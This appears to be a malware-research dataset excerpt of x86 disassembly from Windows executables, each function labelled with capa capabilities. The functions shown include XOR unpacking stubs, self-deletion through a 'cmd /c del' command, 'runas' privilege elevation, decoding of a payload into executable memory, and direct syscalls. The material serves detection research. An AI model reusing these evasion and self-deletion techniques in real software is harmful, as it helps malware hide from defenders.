joyce8/EMBER2024-capa huggingface dataset:
Function at 0xfd8090
Capabilities:
Encode data using xor

Disassembly:
jmp 0xfd809a
pushal
call 0xfd80a0
pop ebp
sub ebp, 0x10
sub ebp, 0xbd8090
jmp 0xfd80b6
mov eax, 0xbd8090
add eax, ebp
add eax, 0x4c
mov ecx, 0x5bd
mov edx, 0x4c5c305
xor byte [eax], dl
inc eax
dec ecx
jne 0xfd80cd
jmp 0xfd80e0
mov cs, eax
mov cs, word [ecx + edi - 0x7bfafafb]
invalid
Function at 0x430003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x430072
mov ebx, 0x408ecc
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x386c059b
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x430060
nop
nop
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4300d2
nop
mov ebx, 0x42e1d0
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x63bd30e0
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219

Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43200c
nop
pop eax
nop
nop
nop
nop
nop
add eax, reloc.ntdll.dll_strstr
sub eax, 0x407245
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x432030
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43201e
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x401e3f
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [fcn.00404494]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
lea eax, [ebp - 0x14]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push dword [ebp + 8]
lea eax, [ebp - 0xc]
push 0x20
push 2
push eax
mov dword [ebp - 0x10], ebx
mov byte [ebp - 0xc], bl
mov byte [ebp - 0xb], bl
mov byte [ebp - 0xa], bl
mov byte [ebp - 9], bl
mov byte [ebp - 8], bl
mov byte [ebp - 7], 5
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
jne 0x401e8b
xor al, al
jmp 0x401eb2
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x14]
push ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x401ea0
mov dword [ebp - 0x10], ebx
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
xor eax, eax
cmp dword [ebp - 0x10], 1
sete al
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00404494
leave
ret 4

Function at 0x401ec1
Capabilities:
Create process on windows
Query environment variable
Self delete

Disassembly:
push ebp
lea ebp, [esp - 0x194]
sub esp, 0x214
mov eax, dword [fcn.00404494]
xor eax, ebp
mov dword [ebp + 0x190], eax
push ebx
push esi
push 0x104
lea eax, [ebp - 0x78]
push eax
push str.ComSpec
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
je 0x401fa5
lea ecx, [ebp - 0x80]
call fcn.0040102d
push ecx
push ecx
mov ecx, esp
push str._c_del__
call fcn.0040140d
lea ecx, [ebp - 0x80]
call fcn.004014d9
push ecx
push ecx
lea eax, [ebp + 0x19c]
mov ecx, esp
push eax
call fcn.00401037
lea ecx, [ebp - 0x80]
call fcn.004014d9
push ecx
push ecx
mov ecx, esp
push str._____NUL
call fcn.0040140d
lea ecx, [ebp - 0x80]
call fcn.004014d9
xor eax, eax
mov esi, str.runas
cmp byte [ebp + 0x1a4], al
jne 0x401f5a
mov esi, str.open
push eax
push eax
lea ecx, [ebp - 0x80]
call fcn.00401062
push eax
lea eax, [ebp - 0x78]
push eax
push esi
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea ecx, [ebp - 0x80]
call fcn.00401471
mov bl, 1
lea ecx, [ebp + 0x19c]
call fcn.00401471
mov ecx, dword [ebp + 0x190]
pop esi
mov al, bl
xor ecx, ebp
pop ebx
call fcn.00404494
add ebp, 0x194
leave
ret
xor bl, bl
jmp 0x401f81
Function at 0x4025b7
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
cmp byte [ebp + 8], 0
push ebx
push esi
push edi
mov esi, ecx
jne 0x40266e
mov eax, dword [esi + 0xbc]
mov edi, dword [eax]
push ecx
push ecx
lea eax, [ebp + 0x14]
mov ecx, esp
push eax
call fcn.00401037
push dword [ebp + 0x10]
mov ebx, dword [ebp + 0xc]
mov ecx, dword [esi + 0xbc]
push ebx
call dword [edi + 0x14]
cmp ebx, 2
jl 0x40261e
push ecx
push ecx
lea eax, [ebp + 0x14]
mov ecx, esp
push eax
call fcn.00401037
push dword [ebp + 0x10]
mov ecx, esi
push ebx
call fcn.00401c1e
cmp ebx, 2
jne 0x40261e
cmp byte [esi + 0x1bc], 0
jne 0x40266e
push 3
pop ebx
cmp ebx, 3
jne 0x40266e
lea eax, [esi + 0x17c]
push eax
lea ecx, [ebp - 8]
call fcn.00401037
mov eax, dword [esi + 0xbc]
mov edi, dword [eax]
push ecx
push ecx
mov ecx, esp
push str.FlashInstall.log
call fcn.0040140d
push 0x5c
lea ecx, [ebp - 8]
call fcn.00401510
push ecx
push ecx
mov ecx, esp
push eax
call fcn.00401037
mov ecx, dword [esi + 0xbc]
call dword [edi + 0x1c]
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [ebp + 0x14]
call fcn.00401471
cmp byte [ebp + 8], 0
pop edi
pop esi
sete al
pop ebx
leave
ret 0x14

Function at 0x40272f
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0xa4
mov eax, dword [fcn.00404494]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
push edi
lea eax, [ebp - 0x20]
push eax
mov edi, ecx
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x4027c6
cmp dword [ebp - 0x1c], 6
jae 0x4027a0
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x4027c6
mov dword [ebp - 0x2c], 0x220
mov dword [ebp - 0x28], 0x223
mov dword [ebp - 0x24], 0x225
xor esi, esi
push dword [ebp + esi*4 - 0x2c]
mov ecx, edi
call fcn.00401e3f
test al, al
jne 0x4027c6
inc esi
cmp esi, 3
jl 0x402786
xor eax, eax
inc eax
jmp 0x4027c8
mov ecx, edi
call fcn.00401fa9
mov ecx, dword [eax + 0xc]
mov eax, dword [ecx]
call dword [eax + 0x14]
test al, al
jne 0x4027c6
mov ecx, edi
call fcn.00402684
cmp eax, 0x3000
jae 0x4027c6
push 2
pop eax
jmp 0x4027c8
xor eax, eax
mov ecx, dword [ebp + 0x74]
pop edi
xor ecx, ebp
pop esi
call fcn.00404494
add ebp, 0x78
leave
ret
Function at 0x40342a
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
push esi
mov esi, ecx
cmp byte [ebp + 8], bl
jne 0x403473
cmp byte [esi + 0xb8], bl
je 0x40345f
call fcn.00402684
cmp eax, 0x3000
jae 0x40345f
mov ecx, esi
call fcn.00401fa9
mov ecx, dword [eax + 0xc]
mov eax, dword [ecx]
call dword [eax + 0x14]
test al, al
jne 0x403473
lea ecx, [ebp + 0xc]
call fcn.00401471
lea ecx, [ebp + 0x14]
call fcn.00401471
xor al, al
jmp 0x4034e9
movzx eax, byte [esi + 0xb8]
push ecx
push ecx
mov ecx, esp
push ebx
push 0xa
push eax
call fcn.00401427
push 0xb
push ebx
push ebx
mov ecx, esi
call fcn.004025b7
lea ecx, [ebp + 0x14]
call fcn.00401052
test eax, eax
jle 0x4034a8
lea ecx, [ebp + 0x14]
call fcn.00401062
jmp 0x4034aa
xor eax, eax
cmp byte [esi + 0xb8], bl
mov esi, str.runas
jne 0x4034bc
mov esi, str.open
push 1
push ebx
push eax
lea ecx, [ebp + 0xc]
call fcn.00401062
push eax
push esi
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea ecx, [ebp + 0xc]
call fcn.00401471
lea ecx, [ebp + 0x14]
call fcn.00401471
mov al, 1
pop esi
pop ebx
pop ebp
ret 0x14
Function at 0x404a0d
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
push edi
lea edi, [esi + 8]
push 0xffffffffffffffff
mov ecx, edi
call fcn.004044f4
test byte [esi + 4], 0x19
mov ecx, edi
setne byte [ebp - 1]
call fcn.004044e5
xor ebx, ebx
cmp byte [ebp - 1], bl
jne 0x404a49
lea ecx, [ebp + 8]
call fcn.00401471
xor al, al
pop edi
pop esi
pop ebx
leave
ret 8
cmp dword [esi], ebx
jne 0x404a93
push 0x20
call fcn.0040440f
mov edi, eax
pop ecx
cmp edi, ebx
je 0x404a66
mov ecx, edi
call fcn.0040694d
mov ecx, edi
jmp 0x404a68
xor ecx, ecx
mov dword [esi], ecx
call fcn.004048cb
test al, al
jne 0x404a93
mov esi, dword [esi]
cmp esi, ebx
je 0x404a87
mov ecx, esi
call fcn.00406953
push esi
call fcn.00404423
pop ecx
lea ecx, [ebp + 8]
call fcn.00401471
mov al, bl
jmp 0x404a42
push ecx
push ecx
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.00401037
lea ecx, [esi + 0x10]
call fcn.00401479
push ebx
push ebx
push esi
push 0x404625
push ebx
push ebx
mov dword [esi + 4], 4
mov dword [esi + 0x34], ebx
mov dword [esi + 0x30], ebx
mov dword [esi + 0x2c], ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, ebx
mov dword [esi + 0xc], eax
setne bl
jmp 0x404a87

Function at 0x405544
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
lea ecx, [ebp + 8]
mov byte [ebp - 1], 0
call fcn.00401062
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
jne 0x405589
xor bl, bl
lea ecx, [ebp + 8]
call fcn.00401471
pop esi
mov al, bl
pop ebx
leave
ret
push edi
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
cmp edi, esi
je 0x4055eb
push edi
call fcn.0040440f
mov ebx, eax
pop ecx
cmp ebx, esi
je 0x4055d4
test edi, edi
jbe 0x4055d0
and dword [ebp - 8], 0
push 0
lea eax, [ebp - 8]
push eax
mov eax, edi
sub eax, esi
push eax
lea eax, [esi + ebx]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4055d0
add esi, dword [ebp - 8]
cmp esi, edi
jb 0x4055a9
cmp esi, edi
je 0x4055dd
push ebx
call fcn.00404423
pop ecx
jmp 0x4055eb
mov eax, dword [ebp + 0x10]
mov dword [eax], ebx
mov eax, dword [ebp + 0x14]
mov dword [eax], edi
mov byte [ebp - 1], 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov bl, byte [ebp - 1]
pop edi
jmp 0x40557b

Function at 0x4055fa
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 8], 0
jne 0x405608
xor al, al
leave
ret
push esi
push edi
mov edi, dword [ebp + 0x10]
xor esi, esi
test edi, edi
jbe 0x40563c
and dword [ebp - 4], 0
push 0
lea eax, [ebp - 4]
push eax
mov eax, edi
sub eax, esi
push eax
mov eax, dword [ebp + 0xc]
add eax, esi
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40563c
add esi, dword [ebp - 4]
cmp esi, edi
jb 0x405613
xor eax, eax
cmp esi, edi
pop edi
sete al
pop esi
leave
ret
Function at 0x40565e
Capabilities:
Get common file path

Disassembly:
push esi
push edi
mov edi, 0x208
push edi
call fcn.0040440f
push edi
mov esi, eax
call fcn.0040440f
pop ecx
pop ecx
push esi
push 0x104
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push edi
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov ecx, dword [esp + 0xc]
push edi
call fcn.0040140d
push edi
call fcn.00404423
push esi
call fcn.00404423
mov eax, dword [esp + 0x14]
pop ecx
pop ecx
pop edi
pop esi
ret 4
Function at 0x406bd2
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x194]
sub esp, 0x214
mov eax, dword [fcn.00404494]
xor eax, ebp
mov dword [ebp + 0x190], eax
mov eax, dword [0x40d0f8]
push esi
mov esi, dword [ebp + 0x19c]
mov dword [ebp - 0x7c], esi
test eax, eax
je 0x406c0f
push eax
mov ecx, esi
call fcn.00401037
mov eax, esi
jmp 0x406ca3
and dword [ebp - 0x80], 0
push edi
push str.kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x406c48
push ebx
push str.IsWow64Process
push edi
call esi
mov ebx, eax
test ebx, ebx
je 0x406c47
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call ebx
pop ebx
cmp dword [ebp - 0x80], 0
je 0x406c7e
push str.GetSystemWow64DirectoryW
push edi
call esi
test eax, eax
je 0x406c7e
push 0x104
lea ecx, [ebp - 0x78]
push ecx
call eax
push 8
call fcn.0040440f
pop ecx
test eax, eax
je 0x406c8f
lea ecx, [ebp - 0x78]
push ecx
mov ecx, eax
call fcn.0040140d
jmp 0x406c91
push 0x104
lea eax, [ebp - 0x78]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
jmp 0x406c65
xor eax, eax
mov ecx, dword [ebp - 0x7c]
push eax
mov dword [0x40d0f8], eax
call fcn.00401037
mov eax, dword [ebp - 0x7c]
pop edi
mov ecx, dword [ebp + 0x190]
xor ecx, ebp
pop esi
call fcn.00404494
add ebp, 0x194
leave
ret

Function at 0x4076fa
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
mov esi, ecx
push dword [esi + 0x50]
mov byte [ebp - 1], 0
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov edi, dword [ebp + 8]
push 0x40bfd8
push dword [ebp + 0xc]
mov dword [edi], eax
mov eax, dword [esi + 0x48]
push dword [eax + 0xc]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp + 8], eax
test eax, eax
je 0x4077cb
push ebx
push eax
mov eax, dword [esi + 0x48]
push dword [eax + 0xc]
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push dword [ebp + 8]
mov ebx, eax
mov eax, dword [esi + 0x48]
push dword [eax + 0xc]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0xc], eax
xor eax, eax
cmp ebx, eax
je 0x4077ca
mov dword [ebp + 8], eax
mov dword [ebp + 0xc], eax
mov dword [ebp - 8], eax
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp + 8]
push eax
push dword [ebp - 0xc]
push ebx
call fcn.00407535
mov esi, dword [ebp + 0xc]
lea eax, [ebp - 8]
push eax
push 0x20
push esi
push dword [ebp + 8]
push dword [edi]
call fcn.004070c6
add esp, 0x24
mov dword [ebp + 0xc], eax
test eax, eax
je 0x4077ca
imul esi, dword [ebp + 8]
push esi
push dword [ebp - 8]
push dword [ebp - 0xc]
push ebx
call fcn.00407560
add esp, 0x10
test al, al
je 0x4077ca
push dword [ebp + 0xc]
push dword [edi]
call dword [sym.imp.GDI32.dll_SelectObject]
mov byte [ebp - 1], 1
pop ebx
mov al, byte [ebp - 1]
pop edi
pop esi
leave
ret 8
Function at 0x405f30
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x42bdb4], 0
push esi
jne 0x405f67
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405f41
mov dword [ecx*4 + 0x42bdb0], eax
inc ecx
cmp ecx, 0x100
jl 0x405f3c
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405f98
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x42bdb0]
xor eax, esi
inc ecx
dec edx
jne 0x405f7a
pop edi
not eax
pop esi
ret 0xc

Function at 0x42e004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..reloc
nop
mov ebx, 0x407ef8
mov ecx, 0x4de97dda
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x42e04e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x42e024
nop
mov eax, section..data
nop
mov ebx, 0x42cd70
nop
mov ecx, 0x4cd20a35
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x404de0
Capabilities:
Read file on windows

Disassembly:
sub esp, 8
push esi
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push eax
mov dword [esp + 0x20], 0
call dword [0x409270]
mov esi, eax
cmp esi, 0xffffffff
je 0x404e24
push 0
lea ecx, [esp + 8]
push ecx
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
test eax, eax
je 0x404e2c
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or eax, 0xffffffff
pop esi
add esp, 8
ret
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
push 0
lea edx, [esp + 0xc]
push edx
push eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
push esi
je 0x404e1e
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 8]
pop esi
add esp, 8
ret

Function at 0x404f00
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, dword [esp + 8]
push esi
push edi
push 0
push 0
push 3
push 0
push 3
push 0x80000000
push ebx
call dword [0x409270]
mov edi, eax
cmp edi, 0xffffffff
je 0x404f9a
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, 0xffffffff
je 0x404f9a
test esi, esi
jne 0x404f51
mov eax, dword [esp + 0x14]
pop edi
mov dword [ebp], esi
mov dword [eax], esi
pop esi
mov eax, 1
pop ebp
ret
push esi
call sub.MSVCR80.dll_void____cdecl_operator_new_unsigned_int_
mov edi, eax
add esp, 4
test edi, edi
mov dword [ebp], edi
je 0x404f9a
push esi
push 0
push edi
call sub.MSVCR80.dll_memset
push esi
push edi
mov eax, ebx
call fcn.00404de0
add esp, 0x14
cmp eax, 0xffffffff
jne 0x404fa0
mov ecx, dword [ebp]
push ecx
call sub.MSVCR80.dll_void___cdecl_operator_delete_void__
mov edx, dword [esp + 0x18]
add esp, 4
mov dword [ebp], 0
mov dword [edx], 0
pop edi
pop esi
xor eax, eax
pop ebp
ret
mov ecx, dword [esp + 0x14]
pop edi
pop esi
mov dword [ecx], eax
mov eax, 1
pop ebp
ret

Function at 0x405300
Capabilities:
Encode data using xor

Disassembly:
mov cl, byte [eax]
rol cl, 4
xor cl, 0xaa
mov byte [eax], cl
je 0x405320
mov edx, eax
mov edi, edi
mov cl, byte [edx + 1]
add edx, 1
rol cl, 4
xor cl, 0xaa
mov byte [edx], cl
jne 0x405310
ret

Function at 0x405321
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x40532b
repz ret
jmp fcn.0040569a

Function at 0x430005
Capabilities:
Authenticate hmac
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43000c
nop
nop
nop
nop
nop
pop eax
add eax, 0x403daa
nop
nop
sub eax, 0x403d50
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp loc.00401219
Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x4052f2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x405301
pop dword [ebp - 0x30]
mov eax, 0x405301
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0x1aa22b7d
sub dword [ebp - 0x40], 0xcc4fe632
mov dword [ebp - 0x3c], 0xb933a496
sub dword [ebp - 0x3c], 0x87005851
mov dword [ebp - 0x38], 0x7cfb645c
sub dword [ebp - 0x38], 0x30af202e
mov dword [ebp - 0x34], 0x92d9e8f0
sub dword [ebp - 0x34], 0x92d9e8f0
lea eax, [ebp - 0x40]
push eax
mov eax, 0x63bb25a8
sub eax, 0x637a5554
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0x918f6ed3
sub dword [ebp - 0x40], 0x1d1d057d
mov dword [ebp - 0x3c], 0x44c3aa40
add dword [ebp - 0x3c], 0xfca8b735
mov dword [ebp - 0x38], 0x3bd3ba6d
add dword [ebp - 0x38], 0x279bb1ff
mov dword [ebp - 0x34], 0x89eb240f
add dword [ebp - 0x34], 0x7614dbf1
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, 0xcf102d6a
add eax, 0x3130a2e2
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x3f1e6
push 0
call eax
mov ecx, 0x5e52
mov edx, eax
mov ebx, 0xdc9277f4
sub ebx, 0xdc50c7f4
add ebx, dword [ebp - 0x30]
mov edi, 0x9dfe33be
sub edi, 0xea322184
xor dword [ebp - 0x10], 0x7e5a5e08
mov esi, dword [ebx]
xor dword [ebp - 0x28], esi
xor esi, edi
xor dword [ebp - 0x14], esi
mov dword [edx], esi
xor dword [ebp - 0x24], esi
add edx, 0x8e5f233e
sub edx, 0x8e5f233a
add ebx, 0xa73af8ef
sub ebx, 0xa73af8eb
loop 0x405418
add eax, 0xd5864edf
sub eax, 0xd584e2c4
mov ebx, eax
add eax, 5
mov ecx, 0x7bedc561
add ecx, 0x84523a9f
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x40a7e6
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
mov dword [ebp + 8], 0x40a899
mov eax, dword [ebp + 8]
leave
sub esp, 0x60
pushfd
pushal
push dword [esp + 0x84]
push 0
push eax
fnsave dword [esp + 0x30]
wait
push dword fs:[0]
mov dword fs:[0], esp
mov eax, 1
jmp dword [esp + 0xc]

Function at 0x40b879
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
pop ebp
sub esp, 0xc
push ebp
push edi
mov edi, dword [esp + 0x18]
test edi, edi
je 0x40b89c
mov ebp, dword [esp + 0x1c]
test ebp, ebp
je 0x40b89c
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
jne 0x40b8a6
pop edi
xor eax, eax
pop ebp
add esp, 0xc
ret 8
mov eax, dword [eax + edi + 0x78]
add eax, edi
push ebx
mov ecx, dword [eax + 0x20]
mov edx, dword [eax + 0x24]
mov ebx, dword [eax + 0x14]
add ecx, edi
mov dword [esp + 0x20], ecx
push esi
mov esi, dword [eax + 0x1c]
mov ecx, ebp
sub ecx, dword [eax + 0x10]
add esi, edi
add edx, edi
mov dword [esp + 0x18], esi
mov dword [esp + 0x14], edx
mov dword [esp + 0x20], ebx
cmp ecx, ebx
ja 0x40b8e8
mov eax, dword [esi + ecx*4]
pop esi
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0xc
ret 8
mov eax, dword [eax + 0x18]
xor esi, esi
mov dword [esp + 0x10], eax
test eax, eax
je 0x40b94a
mov ecx, ebx
lea ebx, [ebx]
movzx ebx, word [edx + esi*2]
cmp ebx, ecx
ja 0x40b945
mov eax, dword [esp + 0x24]
mov ecx, ebp
mov eax, dword [eax + esi*4]
add eax, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x40b930
test dl, dl
je 0x40b92c
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x40b930
add ecx, 2
add eax, 2
test dl, dl
jne 0x40b910
xor eax, eax
jmp 0x40b935
sbb eax, eax
or eax, 1
test eax, eax
je 0x40b956
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x20]
inc esi
cmp esi, eax
jb 0x40b8fd
pop esi
pop ebx
pop edi
xor eax, eax
pop ebp
add esp, 0xc
ret 8
mov eax, dword [esp + 0x18]
pop esi
mov eax, dword [eax + ebx*4]
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0xc
ret 8
Function at 0x41b5ec
Capabilities:
Execute syscall

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
cmp dword [ebp + 8], 0
jge 0x41b60e
mov eax, 0xfffffffd
jmp 0x41b6e0
cmp dword [0x7ed810], 0
je 0x41b6b9
cmp dword [0x7ed814], 5
jl 0x41b63c
cmp dword [0x7ed814], 7
jg 0x41b63c
mov eax, 1
jmp 0x41b641
mov eax, 0
test eax, eax
jne 0x41b65a
cmp dword [0x7ed814], 0xfffffffb
je 0x41b65a
xor eax, eax
jmp 0x41b65f
mov eax, 1
test eax, eax
je 0x41b68b
mov eax, dword [ebp]
add eax, 0x80
mov ecx, 0x20
push dword [eax]
sub eax, 4
loop 0x41b674
mov eax, dword [ebp + 8]
call dword fs:[0xc0]
nop
nop
leave
ret 4
mov eax, dword [ebp + 8]
mov ecx, eax
and eax, 0xffff
shr ecx, 0x10
and ecx, 0xffff
mov edx, dword [ebp]
lea edx, [edx + 8]
call dword fs:[0xc0]
nop
nop
nop
nop
nop
leave
ret 4
cmp dword [0x7ed810], 0
jne 0x41b6d6
mov eax, dword [ebp + 8]
mov edx, dword [ebp]
lea edx, [edx + 8]
int 0x2e
nop
leave
ret 4
mov eax, 0
jmp 0x41b6e0
mov esp, ebp
pop ebp
ret 4